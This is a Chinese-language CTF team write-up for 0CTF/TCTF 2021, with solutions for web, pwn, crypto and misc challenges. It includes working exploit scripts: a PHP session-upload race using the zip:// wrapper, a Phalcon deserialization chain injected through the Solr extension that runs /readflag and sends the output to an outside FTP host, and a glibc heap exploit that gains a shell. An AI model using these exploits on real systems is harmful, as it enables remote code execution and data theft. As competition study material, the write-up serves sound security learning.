ROIS
Web
1linephp
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
对比phpinfo发现多了个zip扩展
这就是https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge改的
和原题相比,这题会在文件名后加个.php,利用zip协议绕过:zip://sess_?????????????/#2333.php
但是session upload process只有部分可控,前16位是固定upload_progress_
跟了下zip协议的处理,发现最后是调用了libzip的zip_open,继续跟下去发现zip_open并没有去判断文件头,于是上传正常zip包的16字节之后的数据
exp:
import io
import requests
import threading
sessid = 'ccreater'
data = {1:"system('ls -al /');system('/readflag');echo file_get_contents('/flag');"}
proxies = {"http":"http://127.0.0.1:8080"}
baseurl = "http://111.186.59.2:50081/"
def write(session):
data = b""
with open("test112.zip","rb") as f:
data = f.read()
data = data[16:]
while True:
f = io.BytesIO(b'a' * 1024 * 50)
try:
resp = session.post( baseurl+'/index.php?yxxx=zip:///tmp/sess_{sessid}%23../test'.format(sessid=sessid),proxies = proxies, data={'PHP_SESSION_UPLOAD_PROGRESS': data}, files={'file': ('ccreater.txt',f)}, cookies={'PHPSESSID': sessid} )
except Exception as e:
print(e)
def read(session):
while True:
try:
resp = session.post(baseurl +'/index.php?yxxx=zip:///tmp/sess_{sessid}%23../test'.format(sessid=sessid),proxies=proxies,data=data)
if '@' == resp.text[0]:
print(resp.text)
event.clear()
except Exception as e:
print(e)
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
soracon
<?php
highlight_file(__FILE__);
$host = $_GET['host'] ?? '127.0.0.1';
$options = ['hostname' => $host, 'port' => 8983, 'path' => '/solr'];
$client = new SolrClient($options);
$query = new SolrQuery();
$query->setQuery('lucene');
$query_response = $client->query($query);
$response = $query_response->getResponse();
print_r($response);
题目放出提示127.0.0.1:8983是假的solr服务器,于是猜测php的solr扩展在与恶意服务器交互的过程中执行了恶意代码
对比phpinfo,发现多装了三个模块phalcon,psr,solr,其中psr是phalcon的以来,而phalcon是一个php框架
solr作为题目的入口,因此先审计solr的代码
审计solr的源码发现一个很有意思的地方:
在与solr通信的过程中,solr都会把数据转成php seriaze的格式然后调用unseriaze
if (0 == strcmp(Z_STRVAL_P(response_writer), SOLR_XML_RESPONSE_WRITER))
{
/* SOLR_XML_RESPONSE_WRITER */
/* Convert from XML serialization to PHP serialization format */
solr_encode_generic_xml_response(&buffer, Z_STRVAL_P(raw_response), Z_STRLEN_P(raw_response), Z_LVAL_P(parser_mode));
if(return_array)
{
solr_sobject_to_sarray(&buffer);
}
}
//...
php_var_unserialize(return_value, &raw_resp, str_end, &var_hash)
跟进solr_encode_generic_xml_response
发现最后使用以下方法将xml转成php serialize
static solr_php_encode_func_t solr_encoder_functions[] = {
solr_encode_string,
solr_encode_null,
solr_encode_bool,
solr_encode_int,
solr_encode_float,
solr_encode_string,
solr_encode_array,
solr_encode_object,
solr_encode_document,
solr_encode_result,
NULL
};
跟进去发现,solr_encode_int没有验证数据是否是整数,而是直接拼接到了seriaze的字符串中
于是构造:
<?php
$pop = serialize(new Phalcon\Logger\Adapter\Stream());
$payload=<<<EOT
<root>
<short name="sb">9999;s:4:"fuck";$pop}</short>
<str name="tset"></str>
</root>
EOT;
file_put_contents("payload",$payload);
接着就是挖反序列化pop链了,从phalcon入手
最后得到exp:
<?php
namespace Phalcon\Logger {
class Item{
public $context = "";
public $message = "";
public $name = "";
public $time = "";
public $type = "";
public function __construct(){
$this->message = new \Phalcon\Forms\Element\Date();
}
}
}
namespace Phalcon{
class Validation{
public $entity;
public $filters = [];
public function __construct(){
$this->entity = new \Phalcon\DataMapper\Pdo\ConnectionLocator();
}
}
class Loader{
public $fileCheckingCallback="system";
public $files=["/readflag"];
}
}
namespace Phalcon\DataMapper\Pdo {
class ConnectionLocator{
public $write;
public $instances;
public function __construct(){
$rce = [new \Phalcon\Loader(),"loadFiles"];
$this->write = ["key"=>$rce];
}
}
}
namespace Phalcon\Assets{
class Asset{
public $sourcePath;
public $local = false;
public function __construct(){
global $argv;
var_dump($argv);
$this->sourcePath = $argv[1];
}
}
}
namespace Phalcon\Forms\Element{
class Date{
public $name ="write";
public $attributes;
public $form;
public function __construct(){
$this->attributes = ["escape"=>false];
$this->form = new \Phalcon\Validation();
}
}
}
namespace Phalcon\Logger\Formatter{
class Line{
public $format='%message%';
}
}
namespace Phalcon\Logger\Adapter {
class Stream{
public $inTransaction = true;
public $queue;
public $name = "ftp://a:a@ccreater.top:61235/flag";
public $mode = "w";
public $formatter;
public function __construct(){
$this->formatter = new \Phalcon\Logger\Formatter\Line();
$this->queue = ["1"=>new \Phalcon\Logger\Item()];
}
}
}
namespace {
function encode($str){
$result = "";
for($i=0;$i<strlen($str);$i++){
$result .= "&#".sprintf("%02x",ord($str[$i])).";";
}
return $result;
}
$pop = serialize(new Phalcon\Logger\Adapter\Stream());
$pop = htmlspecialchars($pop, ENT_XML1 | ENT_QUOTES, 'UTF-8');
$payload=<<<EOT
<root>
<short name="sb">9999;s:4:"fuck";$pop}</short>
<str name="tset"></str>
</root>
EOT;
file_put_contents("payload",$payload);
}
Pwn
listbook
漏洞位于计算name总和的函数hash_name
sum = abs8(v3);//v3是有符号类型,当sum=0x80,则0x100-0x80=0x80 sum仍然等于0x80,是负数,所以可以通过下面这条检测,于是返回下标-0x80,效果相当于向list[0]写入堆值。
if ( sum > 0xF )
sum %= 0x10;
# -*- coding: utf-8 -*
import os
import subprocess
from math import *
import sys
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
def add(name,content):
p.sendlineafter(">>","1")
p.sendafter("name",name)
p.sendafter("content",content)
def free(idx):
p.sendlineafter(">>","2")
p.sendlineafter("index",str(idx))
def show(idx):
p.sendlineafter(">>","3")
p.sendlineafter("index",str(idx))
addr = "111.186.58.249"
port = 20001
p = remote(addr,port)
#p = process("./listbook")
#libc = ELF("/home/wslsb/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6")
libc = ELF("./libc-2.31.so")
for i in range(8):
add('\x01\n','\n')
free(1)
for i in range(6):
add('\x01\n','\n')
add('\x02\n','\n')
add('\x00\n','\n')
add('\x03\n','\n')
add('\x04\n','\n')
free(1)
free(3)
#0和2合并
free(0)
free(2)
for i in range(7):
add('\x05\n','\n')
add('\x06\n','\n')
for i in range(8):
add('\x07\n','\n')
free(7)
free(0)
add("\x80"+"\n","\n")
show(0)
p.recvuntil("\x20\x3d\x3e\x20")
libcbase = u64(p.recvline(False).ljust(8,'\x00')) - (0x7f1c126b8be0 - 0x7f1c124cd000)
print hex(libcbase)
raw_input()
free_hook = libcbase + libc.symbols['__free_hook'];
system = libcbase + libc.symbols['system'];
for i in range(2):
add('\x07\n','\n')
for i in range(4):
add('\x08\n','\n')
free(7)
free(0)
free(6)#通过6控制0
add('\x06\n',"A"*0xB0+p64(0)+p64(0x211)+p64(free_hook)+"\n")
add('\x00\n','/bin/sh\x00\n')
add('\x01\n',p64(system)+'\n')
free(0)
#gdb.attach(p)
p.interactive()
Crypto
checkin
from gmpy2 import mpz,powmod
from os import read
import socket
import re
def readline(s):
buffer = []
while True:
d = s.recv(1)
if d:
buffer.append(d)
else:
break
if d == b"\n":
break
return b"".join(buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('111.186.59.11', 16256))
print(readline(s))
challenge = str(readline(s),encoding="ascii").strip()
print(challenge)
(op1,op2)=challenge.split("mod")
(op3,op4,op5) = op1.split("^")
op5 = op5.replace(")","").strip()
op2 = op2.split("=")[0].strip()
result1 = 0
result = powmod(mpz(2),pow(mpz(2),mpz(int(op5))),mpz(int(op2)))
print(result)
s.send(bytes("{result}".format(result=result),encoding="ascii"))
s.send(b"\n")
print(readline(s))
print(readline(s))
print(readline(s))
Misc
Guthib
赛题提供的git仓库,被bfg清理过密码,要找到被清理的密码
bfg清理commit后,在commit历史记录中找不到
但是在github git gc之前,还是能根据commit的sha找到对应的提交记录的
调用该接口可以获得对应的commit
但是我们还没有清理前的sha,然后发现,该接口不一定需要完整的sha,最少可以接受前四位的sha来寻找commit记录,于是对前四位进行爆破,最后爆出了想要的commit sha:6442,然后获得了密码,即为flag
welcome
flag{welcome_to_0ctf/tctf_2021_have_fun}
singer
打开后得到一个音符文件
A6-D#6
G#6
G6
G6
G#6
A6-D#6
C6-G5
F#5
F#5
C6-G5
A6-F#6,D#6
A6,F#6,D#6
A6,F#6-D#6
A6,D#6
A6-D#6
A6,D#6
F#7-C7
E7-D7
F7,C#7
F#7,C7
E6,A#5
E6-A#5
E6,A#5
A6-D#6
A6-G6
F#6-E6
A6-D#6
C#7-G6
C#7,G6
C#7,A#6,G6
C#7,A#6-G6
先将音符转化为音高
A6-D#6 33-27
G#6 32
G6 31
G6 31
G#6 32
A6-D#6 33-27
C6-G5 24-19
F#5 18
F#5 18
C6-G5 24-19
A6-F#6,D#6 33-30,27
A6,F#6,D#6 33,30,27
A6,F#6-D#6 33,30-27
A6,D#6 33,27
A6-D#6 33-27
A6,D#6 33,27
F#7-C7 42-36
E7-D7 40-38
F7,C#7 41,37
F#7,C7 42,36
E6,A#5 28,22
E6-A#5 28-22
E6,A#5 28,22
A6-D#6 33-27
A6-G6 33-31
F#6-E6 30-28
A6-D#6 33-27
C#7-G6 37-31
C#7,G6 37 31
C#7,A#6,G6 37 34 31
C#7,A#6-G6 37 34-31
之后 将 – 看成连续
作图即可看出flag(如下图)
musiking
Survey
填问卷